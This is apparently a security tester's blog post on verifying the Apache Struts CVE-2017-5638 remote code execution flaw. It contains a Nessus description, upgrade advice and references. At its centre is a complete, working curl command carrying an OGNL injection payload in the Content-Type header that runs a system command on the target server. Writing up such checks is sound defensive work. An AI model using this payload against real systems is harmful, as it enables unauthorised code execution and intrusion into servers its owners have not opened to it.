Friday, July 21, 2017

How to verify CVE-2017-5638 Apache Struts Jakarta Multipart Parser RCE


1.       Nessus Description

The version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the Jakarta Multipart parser due to improper handling of the Content-Type header. An unauthenticated, remote attacker can exploit this, via a specially crafted Content-Type header value in the HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user.


2.       Example of the vulnerable link

1) https://x.x.x.x:8443/service/login.action.


3.       Verification Steps

1)      Below command shows the result of ifconfig command on the remote host:
curl --header "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','ipconfig','/all'}:{'bash','-c','ifconfig'})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://x.x.x.x:8443/service/login.action  --insecure

             

4.       Metasploit module




5.       Recommendation

1)      Upgrade to Apache Struts version 2.3.32 / 2.5.10.1 or later.
2)      Alternatively, apply the workaround referenced in the vendor advisory.

6.       References:

1)     https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1
2)     https://cwiki.apache.org/confluence/display/WW/S2-045
3)     http://www.securityfocus.com/bid/96729
4)     http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5638
5)     https://www.rapid7.com/db/modules/exploit/multi/http/struts2_content_type_ognl


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